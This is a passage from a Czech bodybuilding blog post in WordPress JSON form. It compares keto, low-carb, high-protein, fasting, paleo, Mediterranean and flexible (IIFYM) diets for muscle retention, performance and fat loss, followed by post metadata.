eliminace z&nbsp;j\u00eddeln\u00ed\u010dku ovlivn\u00ed spalov\u00e1n\u00ed tuk\u016f, v\u00fdkonnost a udr\u017een\u00ed svalov\u00e9 hmoty? Strava s&nbsp;omezen\u00fdm p\u0159\u00edjmem sacharid\u016f se v&nbsp;p\u0159edsout\u011b\u017en\u00ed p\u0159\u00edprav\u011b kulturist\u016f prosadila u\u017e v&nbsp;\u0161edes\u00e1t\u00fdch letech minul\u00e9ho stolet\u00ed. A kdy\u017e dnes prolistujete p\u00e1r lifestylov\u00fdch \u010dasopis\u016f, naraz\u00edte hned na n\u011bkolik reklam spole\u010dnost\u00ed nab\u00edzej\u00edc\u00edch tzv. keto dietu. Jde o stravu s&nbsp;tak n\u00edzk\u00fdm pod\u00edlem sacharid\u016f, \u017ee t\u011blo za\u010dne produkovat tzv. ketony, tedy l\u00e1tky, kter\u00e9 p\u0159i nedostatku sacharid\u016f slou\u017e\u00ed jako zdroj energie pro udr\u017een\u00ed funkce mozku. Jestli\u017ee t\u011blu nedod\u00e1te gluk\u00f3zu pot\u0159ebnou pro spr\u00e1vn\u00e9 fungov\u00e1n\u00ed mozku, nastartuje produkci keton\u016f coby alternativn\u00edho energetick\u00e9ho zdroje.&nbsp; T\u00edm jsou po\u0159e\u0161eny n\u00e1roky mozkov\u00e9 tk\u00e1n\u011b a ostatn\u00ed \u010d\u00e1sti t\u011bla mus\u00ed spol\u00e9hat na zdroj energie ve form\u011b tuk\u016f. Nemluv\u00edme tedy o strav\u011b, kter\u00e1 by v\u00e1s ochudila jen o p\u00e1r gram\u016f sacharid\u016f, ale o diet\u011b, p\u0159i kter\u00e9 se dostanete na d\u00e1vku 50 gram\u016f sacharid\u016f denn\u011b (nebo i m\u00e9n\u011b). Co to znamen\u00e1 pro sportovce? P\u0159edev\u0161\u00edm pokles v\u00fdkonnosti, proto\u017ee p\u0159i intenzivn\u00edm tr\u00e9ninku vyu\u017e\u00edv\u00e1 organismus jako prim\u00e1rn\u00ed zdroj energie sacharidy. Tuky nejsou tak rychle metabolizov\u00e1ny, tzn. nep\u0159em\u011bn\u00ed se na dostupnou energii v&nbsp;pot\u0159ebn\u00e9m \u010dase. T\u00edm p\u00e1dem mus\u00edte p\u0159i keto diet\u011b po\u010d\u00edtat s&nbsp;v\u00fdrazn\u00fdm omezen\u00edm v\u00fdkonnosti p\u0159i tr\u00e9ninc\u00edch zalo\u017een\u00fdch na vysok\u00e9m po\u010dtu opakov\u00e1n\u00ed s&nbsp;kr\u00e1tkou odpo\u010dinkovou pauzou. A pokles zaznamen\u00e1te i p\u0159i sportovn\u00edch discipl\u00edn\u00e1ch vy\u017eaduj\u00edc\u00edch maxim\u00e1ln\u00ed \u00fasil\u00ed vyvinut\u00e9 b\u011bhem kr\u00e1tk\u00e9 doby (n\u011bkolika sekund). V\u00fdkonnost p\u0159i silov\u00e9m tr\u00e9ninku (ni\u017e\u0161\u00ed po\u010det opakov\u00e1n\u00ed, del\u0161\u00ed odpo\u010dinkov\u00e9 pauzy) nen\u00ed u v\u011bt\u0161iny lid\u00ed tak v\u00fdrazn\u011b ovlivn\u011bna, zejm\u00e9na pokud u\u017e si doty\u010dn\u00fd na stav tzv. ket\u00f3zy zvykl (co\u017e trv\u00e1 i n\u011bkolik t\u00fddn\u016f). \u0158ada odborn\u00edk\u016f nav\u00edc potvrzuje, \u017ee adaptace na keto dietu je prov\u00e1zena mimo jin\u00e9 i zlep\u0161en\u00edm vytrvalostn\u00ed v\u00fdkonnosti. Z&nbsp;toho jasn\u011b vypl\u00fdv\u00e1, \u017ee jde o stravovac\u00ed re\u017eim, o kter\u00e9m by mohli uva\u017eovat vytrvalci, ale kulturistick\u00e9 discipl\u00edny se bez dostate\u010dn\u00e9 d\u00e1vky sacharid\u016f v&nbsp;dlouhodob\u00e9m horizontu neobejdou. V&nbsp;jejich p\u0159\u00edpad\u011b keto dieta neumo\u017en\u00ed dosa\u017een\u00ed pot\u0159ebn\u00e9ho objemu tr\u00e9ninku a zcela z\u00e1sadn\u011b naru\u0161\u00ed intenzitu. A s&nbsp;t\u00edm pak samoz\u0159ejm\u011b souvis\u00ed i schopnost udr\u017een\u00ed svalov\u00e9 hmoty. Pokud toti\u017e nejste schopni odcvi\u010dit p\u0159edepsan\u00fd po\u010det opakov\u00e1n\u00ed \u010di s\u00e9ri\u00ed, nevyvinete stimul pot\u0159ebn\u00fd pro zachov\u00e1n\u00ed \u010di budov\u00e1n\u00ed sval\u016f. Plat\u00ed to zejm\u00e9na pro sportovce, kte\u0159\u00ed l\u00e9pe reaguj\u00ed na tr\u00e9nink o vy\u0161\u0161\u00edm po\u010dtu opakov\u00e1n\u00ed a vysok\u00e9m objemu. Komu vyhovuje ni\u017e\u0161\u00ed rozsah opakov\u00e1n\u00ed v&nbsp;s\u00e9ri\u00edch, ten mo\u017en\u00e1 z&nbsp;pohledu hmoty keto dietou zase tolik neutrp\u00ed.&nbsp; Pokud se tedy rozhodnete keto dietu vyzkou\u0161et, ur\u010dit\u011b d\u00e1v\u00e1 smysl nav\u00fd\u0161it p\u0159\u00edjem b\u00edlkovin. Za t\u011bchto okolnost\u00ed se pak mohou naj\u00edt sportovci, jim\u017e tento zp\u016fsob stravov\u00e1n\u00ed pom\u016f\u017ee sp\u00e1lit tuky a sou\u010dasn\u011b udr\u017eet hmotu. S&nbsp;\u010d\u00edm m\u016f\u017eete p\u0159i keto diet\u011b po\u010d\u00edtat, to je \u00fabytek na v\u00e1ze. Restrikce v&nbsp;kalorick\u00e9m p\u0159\u00edjmu zp\u016fsob\u00ed, \u017ee&nbsp; t\u011blo spot\u0159ebuje ulo\u017een\u00e9 sacharidy, tzn. glykogen ve svalech. A ka\u017ed\u00fd gram takto ulo\u017een\u00fdch sacharid\u016f na sebe v\u00e1\u017ee 4 gramy vody. Prvotn\u00ed pokles v\u00e1hy je tedy rychl\u00fd a v\u00fdrazn\u00fd. Ale v\u016fbec nemus\u00ed b\u00fdt zp\u016fsoben\u00fd spalov\u00e1n\u00edm tuk\u016f, na co\u017e \u0159ada kritik\u016f keto diety upozor\u0148uje. Po \u00favodn\u00ed f\u00e1zi vyu\u017eit\u00ed ulo\u017een\u00fdch sacharid\u016f ov\u0161em t\u011blo s\u00e1hne po tuku coby zdroji energie, tak\u017ee se do\u010dk\u00e1te. T\u00edm sp\u00ed\u0161, pokud v\u00e1s ty prvotn\u00ed v\u00fdsledky motivovaly a jste plni odhodl\u00e1n\u00ed v&nbsp;keto diet\u011b pokra\u010dovat. Jen je t\u0159eba si uv\u011bdomit, \u017ee \u00fasp\u011bch t\u00e9to diety \u010dasto tkv\u00ed ve vy\u0161\u0161\u00edm p\u0159\u00edjmu b\u00edlkovin a celkov\u011b ni\u017e\u0161\u00edm kalorick\u00e9m p\u0159\u00edjmu (doch\u00e1z\u00ed toti\u017e k&nbsp;poklesu chuti k&nbsp;j\u00eddlu + nav\u00edc m\u00e1te pom\u011brn\u011b omezen\u00fd reperto\u00e1r potravin). Za \u00fasp\u011bchem t\u00e9to diety tedy nestoj\u00ed z\u00e1zra\u010dn\u00fd \u00fa\u010dinek ket\u00f3zy, ale naprosto jasn\u011b m\u011b\u0159iteln\u00e9 faktory. Po\u010d\u00edtat ale mus\u00edte s&nbsp;t\u00edm, \u017ee neschopnost dos\u00e1hnout v&nbsp;tr\u00e9ninku pot\u0159ebn\u00e9 intenzity m\u016f\u017ee spalov\u00e1n\u00ed tuk\u016f \u010d\u00e1ste\u010dn\u011b brzdit. Pak je na zv\u00e1\u017eenou, zda vsadit pr\u00e1v\u011b na keto dietu, kdy\u017e kombinace HIIT tr\u00e9ninku s&nbsp;jin\u00fdm dietn\u00edm re\u017eimem m\u016f\u017ee b\u00fdt v&nbsp;kone\u010dn\u00e9m d\u016fsledku efektivn\u011bj\u0161\u00ed. A tak\u00e9 je tu pochopiteln\u011b ot\u00e1zka p\u0159\u00edpadn\u00fdch zdravotn\u00edch rizik. \u010casto se oz\u00fdvaj\u00ed n\u00e1zory, zda je strava s&nbsp;tak velk\u00fdm pod\u00edlem tuk\u016f zdrav\u00e1. V&nbsp;tom ale samoz\u0159ejm\u011b sehraje z\u00e1sadn\u00ed roli v\u00fdb\u011br vhodn\u00fdch druh\u016f tuku. Jestli\u017ee j\u00eddeln\u00ed\u010dek sestav\u00edte s&nbsp;d\u016frazem kladen\u00fdm na zdrav\u00e9 tuky a p\u0159id\u00e1te vhodn\u00e9 druhy zeleniny, dost\u00e1v\u00e1te se ke stravovac\u00edmu re\u017eimu, kter\u00fd m\u016f\u017ee b\u00fdt nap\u0159\u00edklad pro diabetiky vysloven\u011b vhodn\u00fd. Ale vra\u0165me se zp\u011bt k&nbsp;p\u016fvodn\u00edmu z\u00e1m\u011bru, tedy zhodnocen\u00ed diety z&nbsp;pohledu kulturistiky. A t\u00edm p\u00e1dem budeme op\u011bt p\u0159ed skute\u010dnost\u00ed, \u017ee takov\u00fd stravovac\u00ed pl\u00e1n m\u016f\u017ee vyhovovat n\u011bkter\u00fdm vytrvalostn\u00edm sportovc\u016fm, ale nikoliv t\u011bm, jejich\u017e tr\u00e9nink dosahuje skoro 100% intenzity. Pokud tedy v\u00e1\u0161 tr\u00e9ninkov\u00fd pl\u00e1n nezahrnuje cvi\u010den\u00ed o n\u00edzk\u00e9m objemu, ni\u017e\u0161\u00edm po\u010dtu opakov\u00e1n\u00ed a nepo\u010d\u00edt\u00e1 s&nbsp;del\u0161\u00edmi pauzami mezi s\u00e9riemi, nen\u00ed z&nbsp;hlediska svalov\u00e9ho r\u016fstu ide\u00e1ln\u00ed. A prosp\u00edvat nakonec nemus\u00ed ani s\u00edle. Tak\u017ee nejde o dietu, jakou bychom doporu\u010dili sportovc\u016fm, kte\u0159\u00ed v&nbsp;posilovn\u011b c\u00edl\u00ed na objem a silov\u00e9 v\u00fdkony. Zcela jist\u011b pom\u00e1h\u00e1 keto dieta ke sn\u00ed\u017een\u00ed v\u00e1hy, ale nebude v&nbsp;tomto sm\u011bru efektivn\u011bj\u0161\u00ed, ne\u017e jin\u00e9 dietn\u00ed sm\u011bry, kter\u00e9 berou v\u011bt\u0161\u00ed ohledy na svalovou hmotu. LOW-CARB DIETA U keto diety jsme si vysv\u011btlili, co se v&nbsp;organismu d\u011bje, pokud dojde k&nbsp;dramatick\u00e9mu omezen\u00ed v&nbsp;p\u0159\u00edjmu sacharid\u016f. P\u0159i low-carb diet\u011b se s&nbsp;d\u00e1vkami sacharid\u016f nedost\u00e1v\u00e1te tak n\u00edzko, p\u0159\u00edpadn\u011b ne na dost dlouho, aby se t\u011blo dostalo do stadia ket\u00f3zy. Co se t\u00fd\u010de vlivu na v\u00fdkonnost, pak m\u016f\u017ee low-carb dieta nab\u00eddnout v\u011bt\u0161inu v\u00fdhod keto diety, ov\u0161em bez t\u011bch negativn\u00edch str\u00e1nek. \u0158ada kulturist\u016f zvl\u00e1dne intenzivn\u00ed posilovac\u00ed tr\u00e9nink i p\u0159i d\u00e1vk\u00e1ch kolem 200 gram\u016f sacharid\u016f denn\u011b. V&nbsp;takov\u00e9m p\u0159\u00edpad\u011b je v\u017edy vhodn\u00e9 na\u010dasovat porci s&nbsp;obsahem sacharid\u016f t\u0159i a\u017e \u0161est hodin p\u0159ed tr\u00e9ninkem. T\u00edm vznikaj\u00ed podm\u00ednky pro odcvi\u010den\u00ed kvalitn\u00edho tr\u00e9ninku a sou\u010dasn\u011b m\u016f\u017eete vyu\u017e\u00edt benefit\u016f n\u00edzkosacharidov\u00e9 stravy. V\u00fdkonnost tedy z\u016fst\u00e1v\u00e1 prakticky zachovan\u00e1. Kdy\u017e bude \u0159e\u010d o r\u016fstu sval\u016f b\u011bhem low-carb diety, pak m\u016f\u017eeme s&nbsp;pot\u011b\u0161en\u00edm konstatovat, \u017ee p\u0159i dodr\u017een\u00ed vy\u0161\u0161\u00edch d\u00e1vek b\u00edlkovin, nen\u00ed v\u011bt\u0161inou sledov\u00e1n \u017e\u00e1dn\u00fd negativn\u00ed vliv n\u00edzkosacharidov\u00e9ho stravov\u00e1n\u00ed na r\u016fst a regeneraci sval\u016f. Ide\u00e1ln\u00ed je, kdy\u017e sportovec na t\u00e9to diet\u011b konzumuje alespo\u0148 2 gramy b\u00edlkovin na kilogram svoj\u00ed v\u00e1hy. Ve strav\u011b jsou tedy kalorie ze sacharid\u016f \u010d\u00e1ste\u010dn\u011b nahrazeny b\u00edlkovinami. A jak zku\u0161enosti samotn\u00fdch sportovc\u016f, tak v\u00fdsledky proveden\u00fdch studi\u00ed jasn\u011b ukazuj\u00ed, \u017ee dieta s&nbsp;vy\u0161\u0161\u00edm pod\u00edlem b\u00edlkovin a ni\u017e\u0161\u00ed d\u00e1vkou sacharid\u016f je z&nbsp;hlediska spalov\u00e1n\u00ed tuk\u016f velmi efektivn\u00ed. Doch\u00e1z\u00ed p\u0159i n\u00ed k&nbsp;potla\u010den\u00ed pocit\u016f hladu a d\u00e1vky b\u00edlkovin zajist\u00ed ochranu metabolicky aktivn\u00ed svalov\u00e9 tk\u00e1n\u011b. V&nbsp;n\u00e1vaznosti na low-carb dietu mus\u00edme zm\u00ednit i tolik obl\u00edben\u00e9 cyklov\u00e1n\u00ed sacharid\u016f v&nbsp;r\u00e1mci kulturistick\u00e9 diety. V&nbsp;r\u00e1mci n\u011bj se st\u0159\u00eddaj\u00ed dny s&nbsp;vy\u0161\u0161\u00edm a ni\u017e\u0161\u00edm p\u0159\u00edjmem sacharid\u016f. Op\u011bt plat\u00ed, \u017ee sacharidov\u00e9 j\u00eddlo si pl\u00e1nujete p\u0159ed intenzivn\u00edm tr\u00e9ninkem. Takov\u00e9 cyklov\u00e1n\u00ed m\u016f\u017ee fungovat opravdu velmi dob\u0159e, zvl\u00e1\u0161\u0165 pokud se skloub\u00ed s&nbsp;pl\u00e1novan\u00fdm energetick\u00fdm v\u00fddejem v&nbsp;podobn\u011b n\u00e1ro\u010dn\u00e9ho tr\u00e9ninku. D\u00e1 se tedy \u0159\u00edci, \u017ee low-carb dieta nab\u00edz\u00ed v\u0161echny v\u00fdhody keto diety, ov\u0161em bez stinn\u00fdch str\u00e1nek v&nbsp;podob\u011b sn\u00ed\u017een\u00ed v\u00fdkonnosti, nadm\u011brn\u00e9 \u00fanavy a nep\u0159\u00edjemn\u00fdch pocit\u016f prov\u00e1zej\u00edc\u00edch prvn\u00ed t\u00fddny. Nen\u00ed ani tak omezuj\u00edc\u00ed ohledn\u011b v\u00fdb\u011bru potravin, co\u017e z&nbsp;n\u00ed \u010din\u00ed stravovac\u00ed re\u017eim udr\u017eiteln\u00fd i z&nbsp;dlouhodob\u011bj\u0161\u00edho hlediska. Op\u011bt je ov\u0161em z\u00e1sadn\u00ed, abyste si sami na sob\u011b ov\u011b\u0159ili, jak va\u0161e t\u011blo zach\u00e1z\u00ed se sacharidy a podle toho nastavili jejich ide\u00e1ln\u00ed d\u00e1vku. VYSOKOPROTEINOV\u00c1 DIETA B\u00edlkoviny jsou ide\u00e1ln\u00ed \u017eivinou pro dosa\u017een\u00ed pocitu nasycen\u00ed, urychluj\u00ed metabolismus, maj\u00ed pom\u011brn\u011b vysok\u00e9 energetick\u00e9 n\u00e1roky na tr\u00e1ven\u00ed a napom\u00e1haj\u00ed udr\u017een\u00ed svalov\u00e9 hmoty b\u011bhem n\u00edzkokalorick\u00e9 stravy. Pokud chcete budovat svalovou hmotu, udr\u017eet tu st\u00e1vaj\u00edc\u00ed a zbavit se nadbyte\u010dn\u00e9ho tuku, pak m\u00e1 pro v\u00e1s vysokoproteinov\u00e1 dieta ur\u010dit\u011b smysl. Abyste zachovali podm\u00ednku pot\u0159ebn\u00e9ho kalorick\u00e9ho p\u0159\u00edjmu, mus\u00edte b\u00edlkovinami ve strav\u011b nahradit bu\u010f tuky a\/nebo sacharidy. Odborn\u00e9 studie se v\u011bt\u0161inou zam\u011b\u0159uj\u00ed na efekt diety, v&nbsp;r\u00e1mci n\u00ed\u017e proteiny nahrazuj\u00ed sacharidy, zat\u00edmco d\u00e1vka tuk\u016f z\u016fst\u00e1v\u00e1 prakticky stejn\u00e1. Teoreticky by fungovaly oba zp\u016fsoby, ale s&nbsp;ohledem na pot\u0159ebu udr\u017een\u00ed ur\u010dit\u00e9ho mno\u017estv\u00ed kvalitn\u00edch tuk\u016f ve strav\u011b, nen\u00ed vhodn\u00e9 sni\u017eovat d\u00e1vky tuku pod ur\u010ditou m\u00edru. To znamen\u00e1, \u017ee pokud se n\u011bkde mluv\u00ed o efektu vysokoproteinov\u00e9 diety, prakticky bez v\u00fdjimek se jedn\u00e1 o stravovac\u00ed re\u017eim s&nbsp;ni\u017e\u0161\u00edm pod\u00edlem sacharid\u016f, o kter\u00e9m byla \u0159e\u010d v\u00fd\u0161e. A z&nbsp;toho pak samoz\u0159ejm\u011b vypl\u00fdvaj\u00ed benefity v&nbsp;podob\u011b udr\u017een\u00ed v\u00fdkonnosti, zachov\u00e1n\u00ed svalov\u00e9 hmoty, stimulace spalov\u00e1n\u00ed tuk\u016f atd. P\u016eST Tohle je velmi kontroverzn\u00ed t\u00e9ma a najdete celou \u0159adu zdroj\u016f, kter\u00e9 poukazuj\u00ed na to, \u017ee p\u016fst v\u00e1\u017en\u011b naru\u0161\u00ed schopnost t\u011bla budovat svalovou hmotu, abyste se vz\u00e1p\u011bt\u00ed dopracovali ke studi\u00edm tvrd\u00edc\u00edm prav\u00fd opak. Nen\u00ed ov\u0161em p\u016fst jako p\u016fst. Ur\u010dit\u011b d\u00e1v\u00e1 smysl n\u011bjak\u00fd rozumn\u00fd mechanismus sn\u00ed\u017een\u00ed p\u0159\u00edjmu kalori\u00ed v&nbsp;r\u00e1mci \u2013 \u0159ekn\u011bme \u2013 t\u00fddne. V\u0161e si ale mus\u00edte dob\u0159e na\u010dasovat. Ur\u010dit\u011b nen\u00ed vhodn\u00e9 pl\u00e1novat n\u00e1ro\u010dn\u00fd tr\u00e9nink den po p\u016fstu. Rekrea\u010dn\u00ed sportovci ale v\u011bt\u0161inou nemaj\u00ed probl\u00e9m za\u0159adit jeden a\u017e dva dny p\u016fstu t\u00fddn\u011b, ani\u017e by t\u00edm utrp\u011bl jejich tr\u00e9nink. P\u016fst samoz\u0159ejm\u011b m\u016f\u017ee v\u00e9st k&nbsp;n\u011bjak\u00fdm ztr\u00e1t\u00e1m svalov\u00e9 hmoty, ale to plat\u00ed sp\u00ed\u0161e u dlouhodob\u00e9ho hladov\u011bn\u00ed. Hodn\u011b tedy z\u00e1le\u017e\u00ed na tom, o jak dlouh\u00fd p\u016fst p\u016fjde. Z&nbsp;pohledu hubnut\u00ed samoz\u0159ejm\u011b p\u016fst funguje, ale pokud sou\u010dasn\u011b chcete ochr\u00e1nit svalovou hmotu, p\u0159\u00edpadn\u011b dokonce jej\u00ed mno\u017estv\u00ed nav\u00fd\u0161it, mus\u00edte si po\u010d\u00ednat nanejv\u00fd\u0161 opatrn\u011b. V&nbsp;takov\u00e9m p\u0159\u00edpad\u011b by asi st\u00e1lo za zkou\u0161ku m\u00edsto naprost\u00e9 hladovky za\u0159adit b\u011bhem dne t\u0159i a\u017e \u010dty\u0159i n\u00edzkokalorick\u00e1 proteinov\u00e1 j\u00eddla a k&nbsp;nim p\u0159idat jen trochu zeleniny s&nbsp;n\u00edzk\u00fdm pod\u00edlem \u0161krob\u016f. Nav\u00edc nikde nen\u00ed ps\u00e1no, \u017ee mus\u00edte dr\u017eet celodenn\u00ed p\u016fst, n\u011bkomu se osv\u011bd\u010dilo, \u017ee m\u00e1 v&nbsp;pr\u016fb\u011bhu dne 4-8 hodin vyhrazen\u00fdch na p\u0159\u00edjem kalori\u00ed, zat\u00edmco po zbyl\u00fdch 16-20 hodin dr\u017e\u00ed p\u016fst. O efektivit\u011b t\u011bchto metod se jednodu\u0161e mus\u00edte p\u0159esv\u011bd\u010dit sami, zde budou reakce t\u011bla skute\u010dn\u011b velice individu\u00e1ln\u00ed. PALEO Tato dieta vych\u00e1z\u00ed z&nbsp;v\u00fdb\u011bru potravin, kter\u00e9 \u010dlov\u011bk konzumoval v&nbsp;pr\u016fb\u011bhu evoluce. Je tedy zalo\u017eena na nadm\u011brn\u011b nezpracovan\u00fdch, kaloricky vydatn\u00fdch pokrmech s&nbsp;vysok\u00fdm pod\u00edlem b\u00edlkovin a jen mal\u00fdm mno\u017estv\u00edm sacharid\u016f. T\u00edm p\u00e1dem se vlastn\u011b jedn\u00e1 o n\u00edzkosacharidovou, \u010di vysokoproteinovou dietu, o kter\u00fdch jsme zde ji\u017e mluvili. Pokud k&nbsp;paleo strav\u011b p\u0159id\u00e1te syrov\u00e1tkov\u00fd protein a v\u00e1pn\u00edk, m\u00e1te \u0161anci dos\u00e1hnout sv\u00fdch sportovn\u00edch c\u00edl\u016f, proto\u017ee napln\u00ed va\u0161e p\u0159edstavy o udr\u017een\u00ed fyzick\u00e9 v\u00fdkonnosti, zachov\u00e1n\u00ed svalov\u00e9 hmoty i \u00fabytku tukov\u00fdch rezerv. Nav\u00edc neohroz\u00ed va\u0161e zdrav\u00ed. ST\u0158EDOMO\u0158SK\u00c1 DIETA Mezi aktivn\u00ed ve\u0159ejnost\u00ed jde o dnes velmi popul\u00e1rn\u00ed v\u00fd\u017eivov\u00fd sm\u011br. Zahrnuje j\u00eddeln\u00ed\u010dek bohat\u00fd na mo\u0159sk\u00e9 ryby, zeleninu, ovoce a zdrav\u00e9 tuky. Z&nbsp;pohledu kulturist\u016f je ov\u0161em t\u0159eba zv\u00fd\u0161it d\u00e1vky b\u00edlkovin na \u00fakor \u0161krob\u016f, \u010d\u00edm\u017e se vlastn\u011b dostaneme k&nbsp;vysokoproteinov\u00e9 strav\u011b s&nbsp;n\u00edzk\u00fdm pod\u00edlem sacharid\u016f, tedy k&nbsp;re\u017eim\u016fm, o jejich\u017e p\u0159\u00ednosech a rizic\u00edch jsme v\u00e1s ji\u017e informovali. FLEXIBILN\u00cd DIETA &#8211; IIFYM (If It Fits Your Macros) Nejde ani tak o dietu v&nbsp;tom prav\u00e9m smyslu slova, jako sp\u00ed\u0161 o stravov\u00e1n\u00ed, ve kter\u00e9m zohled\u0148ujete d\u00e1vky makro\u017eivin, co\u017e je kulturist\u016fm a fitness nad\u0161enc\u016fm bl\u00edzk\u00e9. \u010casto se v&nbsp;n\u00e1vaznosti na flexibiln\u00ed dietu zmi\u0148uje syst\u00e9m 80\/20 \u2013 tzn. z&nbsp;80 % se stravujete dle stanoven\u00fdch pravidel a ve 20 % m\u00e1te volnou ruku. N\u011bco takov\u00e9ho si z\u00e1vodn\u00edk p\u0159ed sout\u011b\u017e\u00ed samoz\u0159ejm\u011b dovolit nem\u016f\u017ee. Stejn\u011b tak je v&nbsp;r\u00e1mci stravy nutn\u00e9 hl\u00eddat nejenom makro- ale i mikro\u017eiviny, tzn. db\u00e1t na dostate\u010dn\u00fd p\u0159\u00edjem vitamin\u016f a miner\u00e1l\u016f, v\u010detn\u011b kvalitn\u00edch suplement\u016f. Flexibiln\u00ed dietu tedy m\u016f\u017eete vyu\u017e\u00edt jako r\u00e1mcov\u00fd v\u00fd\u017eivov\u00fd program, kter\u00fd n\u00e1sledn\u011b p\u0159izp\u016fsob\u00edte sv\u00fdm n\u00e1rok\u016fm. NA Z\u00c1KLAD\u011a JAK\u00c9 DIETY BY TEDY M\u011aLA STAV\u011aT KULTURISTICK\u00c1 STRAVA? Je zcela evidentn\u00ed, \u017ee byste m\u011bli m\u00edt pod kontrolou p\u0159\u00edjem sacharid\u016f a db\u00e1t na dostate\u010dn\u00e9 d\u00e1vky b\u00edlkovin. Nen\u00ed t\u0159eba se ob\u00e1vat tuk\u016f, pokud vol\u00edte ty spr\u00e1vn\u00e9. Bylo by asi zbyte\u010dn\u00e9 experimentovat s&nbsp;keto dietou, kter\u00e1 obecn\u011b silov\u00fdm sportovc\u016fm nevyhovuje. Skr\u00fdv\u00e1 v&nbsp;sob\u011b z&nbsp;pohledu z\u00e1vodn\u00edka p\u0159\u00edli\u0161 mnoho rizik, v\u010detn\u011b t\u011bch zdravotn\u00edch. Nav\u00edc jej\u00ed \u00fa\u010dinek pramen\u00ed, jak u\u017e jsme zm\u00ednili, p\u0159edev\u0161\u00edm z&nbsp;omezen\u00e9ho p\u0159\u00edjmu kalori\u00ed a zv\u00fd\u0161en\u00fdch d\u00e1vek protein\u016f. Ostatn\u00ed diety vyzkou\u0161et m\u016f\u017eete, p\u016fst bude asi vyhovuj\u00edc\u00ed jen pro omezenou skupinu sportovc\u016f a ti ostatn\u00ed budou hledat svou vlastn\u00ed cestu vystav\u011bnou na obecn\u00fdch doporu\u010den\u00edch. A\u0165 u\u017e v&nbsp;jejich p\u0159\u00edpad\u011b p\u0159evl\u00e1dnou pravidla paleo \u010di st\u0159edomo\u0159sk\u00e9 diety nebo se najdou v&nbsp;IIFYM, d\u016fle\u017eit\u00e9 je, aby \u0161lo o j\u00eddeln\u00ed\u010dek, kter\u00fd umo\u017en\u00ed zvl\u00e1dnout n\u00e1ro\u010dn\u00fd, intenzivn\u00ed tr\u00e9nink a dostat t\u011blo do po\u017eadovan\u00e9 formy.<\/p>\n","protected":false},"author":2,"featured_media":796,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-795","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-vyziva"],"acf":[],"_links":{"self":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/795","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/comments?post=795"}],"version-history":[{"count":4,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/795\/revisions"}],"predecessor-version":[{"id":802,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/795\/revisions\/802"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media\/796"}],"wp:attachment":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media?parent=795"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/categories?post=795"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/tags?post=795"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}